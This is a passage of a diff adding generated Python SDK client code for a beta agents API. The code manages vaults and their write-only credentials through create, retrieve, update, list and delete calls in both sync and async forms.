+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Credential]:
+ """
+ Lists a vault's credentials using ID-based pagination without returning secret
+ values. See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return. Defaults to 20. Values are clamped
+ between 1 and 100.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ status: Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/vaults/{vault_id}/credentials", vault_id=vault_id),
+ page=SyncCursorPage[Credential],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "status": status,
+ },
+ credential_list_params.CredentialListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Credential,
+ )
+
+ def delete(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> CredentialDeleted:
+ """Deletes a vault credential.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=CredentialDeleted,
+ )
+
+
+class AsyncCredentials(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncCredentialsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncCredentialsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncCredentialsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncCredentialsWithStreamingResponse(self)
+
+ async def create(
+ self,
+ vault_id: str,
+ *,
+ auth: CredentialAuthCreateParam,
+ name: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """Creates a vault credential.
+
+ Secret values are write-only and are never returned.
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ auth: The authentication method and secret values to store for the MCP server.
+
+ name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
+ trimming.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template("/vaults/{vault_id}/credentials", vault_id=vault_id),
+ body=await async_maybe_transform(
+ {
+ "auth": auth,
+ "name": name,
+ },
+ credential_create_params.CredentialCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ async def retrieve(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """Retrieves vault credential metadata without returning secret values.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ async def update(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ auth: CredentialAuthRotateParam,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Credential:
+ """
+ Rotates a vault credential's write-only secret and returns only credential
+ metadata. See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ auth: Replacement values for the credential's existing authentication method.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ body=await async_maybe_transform({"auth": auth}, credential_update_params.CredentialUpdateParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Credential,
+ )
+
+ def list(
+ self,
+ vault_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ status: VaultStatusFilterParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Credential, AsyncCursorPage[Credential]]:
+ """
+ Lists a vault's credentials using ID-based pagination without returning secret
+ values. See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return. Defaults to 20. Values are clamped
+ between 1 and 100.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ status: Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/vaults/{vault_id}/credentials", vault_id=vault_id),
+ page=AsyncCursorPage[Credential],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "status": status,
+ },
+ credential_list_params.CredentialListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Credential,
+ )
+
+ async def delete(
+ self,
+ credential_id: str,
+ *,
+ vault_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> CredentialDeleted:
+ """Deletes a vault credential.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ if not credential_id:
+ raise ValueError(f"Expected a non-empty value for `credential_id` but received {credential_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template(
+ "/vaults/{vault_id}/credentials/{credential_id}", vault_id=vault_id, credential_id=credential_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=CredentialDeleted,
+ )
+
+
+class CredentialsWithRawResponse:
+ def __init__(self, credentials: Credentials) -> None:
+ self._credentials = credentials
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ credentials.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ credentials.retrieve,
+ )
+ self.update = _legacy_response.to_raw_response_wrapper(
+ credentials.update,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ credentials.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ credentials.delete,
+ )
+
+
+class AsyncCredentialsWithRawResponse:
+ def __init__(self, credentials: AsyncCredentials) -> None:
+ self._credentials = credentials
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ credentials.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ credentials.retrieve,
+ )
+ self.update = _legacy_response.async_to_raw_response_wrapper(
+ credentials.update,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ credentials.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ credentials.delete,
+ )
+
+
+class CredentialsWithStreamingResponse:
+ def __init__(self, credentials: Credentials) -> None:
+ self._credentials = credentials
+
+ self.create = to_streamed_response_wrapper(
+ credentials.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ credentials.retrieve,
+ )
+ self.update = to_streamed_response_wrapper(
+ credentials.update,
+ )
+ self.list = to_streamed_response_wrapper(
+ credentials.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ credentials.delete,
+ )
+
+
+class AsyncCredentialsWithStreamingResponse:
+ def __init__(self, credentials: AsyncCredentials) -> None:
+ self._credentials = credentials
+
+ self.create = async_to_streamed_response_wrapper(
+ credentials.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ credentials.retrieve,
+ )
+ self.update = async_to_streamed_response_wrapper(
+ credentials.update,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ credentials.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ credentials.delete,
+ )
diff --git a/src/openai/resources/beta/agents/vaults/vaults.py b/src/openai/resources/beta/agents/vaults/vaults.py
new file mode 100644
index 0000000000..9688bd59dd
--- /dev/null
+++ b/src/openai/resources/beta/agents/vaults/vaults.py
@@ -0,0 +1,563 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, maybe_transform, async_maybe_transform
+from ....._compat import cached_property
+from .credentials import (
+ Credentials,
+ AsyncCredentials,
+ CredentialsWithRawResponse,
+ AsyncCredentialsWithRawResponse,
+ CredentialsWithStreamingResponse,
+ AsyncCredentialsWithStreamingResponse,
+)
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncCursorPage, AsyncCursorPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents import vault_list_params, vault_create_params
+from .....types.beta.agents.vault import Vault
+from .....types.beta.agents.vault_deleted import VaultDeleted
+from .....types.beta.agents.vault_status_filter_param import VaultStatusFilterParam
+
+__all__ = ["Vaults", "AsyncVaults"]
+
+
+class Vaults(SyncAPIResource):
+ @cached_property
+ def credentials(self) -> Credentials:
+ return Credentials(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> VaultsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return VaultsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> VaultsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return VaultsWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ name: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Vault:
+ """Creates a vault for the current project.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ metadata: Key-value pairs to associate with the vault, such as an application or team
+ identifier.
+
+ name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
+ trimming.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ "/vaults",
+ body=maybe_transform(
+ {
+ "metadata": metadata,
+ "name": name,
+ },
+ vault_create_params.VaultCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Vault,
+ )
+
+ def retrieve(
+ self,
+ vault_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Vault:
+ """Retrieves a vault by its ID.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/vaults/{vault_id}", vault_id=vault_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Vault,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ status: VaultStatusFilterParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Vault]:
+ """Lists vaults using ID-based pagination.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return. Defaults to 20. Values are clamped
+ between 1 and 100.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ status: Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/vaults",
+ page=SyncCursorPage[Vault],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "status": status,
+ },
+ vault_list_params.VaultListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Vault,
+ )
+
+ def delete(
+ self,
+ vault_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> VaultDeleted:
+ """Deletes a vault and all its credentials.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template("/vaults/{vault_id}", vault_id=vault_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=VaultDeleted,
+ )
+
+
+class AsyncVaults(AsyncAPIResource):
+ @cached_property
+ def credentials(self) -> AsyncCredentials:
+ return AsyncCredentials(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncVaultsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncVaultsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncVaultsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncVaultsWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ name: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Vault:
+ """Creates a vault for the current project.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ metadata: Key-value pairs to associate with the vault, such as an application or team
+ identifier.
+
+ name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
+ trimming.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ "/vaults",
+ body=await async_maybe_transform(
+ {
+ "metadata": metadata,
+ "name": name,
+ },
+ vault_create_params.VaultCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Vault,
+ )
+
+ async def retrieve(
+ self,
+ vault_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Vault:
+ """Retrieves a vault by its ID.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/vaults/{vault_id}", vault_id=vault_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Vault,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ status: VaultStatusFilterParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Vault, AsyncCursorPage[Vault]]:
+ """Lists vaults using ID-based pagination.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return. Defaults to 20. Values are clamped
+ between 1 and 100.
+
+ order: Sort order by the `created_at` timestamp. Use `asc` for ascending order or
+ `desc` for descending order. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ status: Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/vaults",
+ page=AsyncCursorPage[Vault],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ "status": status,
+ },
+ vault_list_params.VaultListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Vault,
+ )
+
+ async def delete(
+ self,
+ vault_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> VaultDeleted:
+ """Deletes a vault and all its credentials.
+
+ See
+ [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not vault_id:
+ raise ValueError(f"Expected a non-empty value for `vault_id` but received {vault_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template("/vaults/{vault_id}", vault_id=vault_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=VaultDeleted,
+ )
+
+
+class VaultsWithRawResponse:
+ def __init__(self, vaults: Vaults) -> None:
+ self._vaults = vaults
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ vaults.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ vaults.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ vaults.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ vaults.delete,
+ )
+
+ @cached_property
+ def credentials(self) -> CredentialsWithRawResponse:
+ return CredentialsWithRawResponse(self._vaults.credentials)
+
+
+class AsyncVaultsWithRawResponse:
+ def __init__(self, vaults: AsyncVaults) -> None:
+ self._vaults = vaults
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ vaults.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ vaults.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ vaults.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ vaults.delete,
+ )
+
+ @cached_property
+ def credentials(self) -> AsyncCredentialsWithRawResponse:
+ return AsyncCredentialsWithRawResponse(self._vaults.credentials)
+
+
+class VaultsWithStreamingResponse:
+ def __init__(self, vaults: Vaults) -> None:
+ self._vaults = vaults
+
+ self.create = to_streamed_response_wrapper(
+ vaults.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ vaults.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ vaults.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ vaults.delete,
+ )
+
+ @cached_property
+ def credentials(self) -> CredentialsWithStreamingResponse:
+ return CredentialsWithStreamingResponse(self._vaults.credentials)
+
+
+class AsyncVaultsWithStreamingResponse:
+ def __init__(self, vaults: AsyncVaults) -> None:
+ self._vaults = vaults
+
+ self.create = async_to_streamed_response_wrapper(
+ vaults.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ vaults.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ vaults.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ vaults.delete,
+ )
+
+ @cached_property
+ def credentials(self) -> AsyncCredentialsWithStreamingResponse:
+ return AsyncCredentialsWithStreamingResponse(self._vaults.credentials)
diff --git a/src/openai/resources/beta/beta.py b/src/openai/resources/beta/beta.py
index b991b93230..6794139b63 100644
--- a/src/openai/resources/beta/beta.py
+++ b/src/openai/resources/beta/beta.py
@@ -12,6 +12,14 @@
AsyncAssistantsWithStreamingResponse,
)
from ..._resource import SyncAPIResource, AsyncAPIResource
+from .agents.agents import (
+ Agents,
+ AsyncAgents,
+ AgentsWithRawResponse,
+ AsyncAgentsWithRawResponse,
+ AgentsWithStreamingResponse,
+ AsyncAgentsWithStreamingResponse,
+)
from .chatkit.chatkit import (
ChatKit,
AsyncChatKit,
@@ -54,6 +62,10 @@ def chat(self) -> Chat:
def realtime(self) -> Realtime:
return Realtime(self._client)
+ @cached_property
+ def agents(self) -> Agents:
+ return Agents(self._client)
+
@cached_property
def responses(self) -> Responses:
return Responses(self._client)
